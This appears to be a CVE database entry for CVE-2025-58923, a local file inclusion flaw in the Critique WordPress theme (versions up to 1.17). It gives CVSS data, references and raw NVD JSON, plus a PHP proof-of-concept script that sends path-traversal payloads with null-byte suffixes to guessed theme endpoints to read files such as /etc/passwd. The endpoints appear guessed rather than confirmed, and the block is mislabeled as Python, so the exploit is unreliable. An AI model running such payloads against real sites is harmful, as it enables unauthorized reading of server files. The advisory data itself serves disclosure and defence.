CVE-2025-58923

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Critique critique allows PHP Local File Inclusion.This issue affects Critique: from n/a through <= 1.17.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:critique:*:*:*:*:*:wordpress:*:* - VULNERABLE

Critique theme <= 1.17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-58923 PoC - WordPress Critique Theme Local File Inclusion
 * Target: WordPress site using Critique theme <= 1.17
 * 
 * Usage: php poc.php <target_url> <file_to_read>
 * Example: php poc.php http://target.com /etc/passwd
 */

$target = $argv[1] ?? 'http://localhost';
$file = $argv[2] ?? '/etc/passwd';

// Encode path traversal to bypass basic filters
$encoded_file = str_replace('/', '%2F', $file);
$payload = '../../../..' . $encoded_file . '%00';

// Common vulnerable endpoints in WordPress themes
$endpoints = [
    '/wp-content/themes/critique/includes/inc/ajax-actions.php',
    '/wp-content/themes/critique/core/includes/ajax-handler.php',
    '/wp-content/themes/critique/functions.php',
];

foreach ($endpoints as $endpoint) {
    $url = $target . $endpoint . '?template=' . $payload;
    echo "[*] Testing: $url\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && !empty($response)) {
        echo "[!] Success! File content:\n";
        echo $response;
        break;
    }
}

// Alternative: Direct file inclusion via theme's template loader
$alt_url = $target . '/?theme_action=include&file=' . urlencode($file);
echo "[*] Alternative endpoint: $alt_url\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58923
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58923
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58923/
[4] VulDB https://vuldb.com/cve/CVE-2025-58923
[5] https://patchstack.com/database/Wordpress/Theme/critique/vulnerability/wordpress-critique-theme-1-17-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58923", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:59.607", "lastModified": "2026-01-20T15:17:10.520", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Critique critique allows PHP Local File Inclusion.This issue affects Critique: from n/a through <= 1.17."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:critique:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.17", "matchCriteriaId": "28C08F50-6D49-4B50-965F-D1E1B4C48D52"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/critique/vulnerability/wordpress-critique-theme-1-17-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}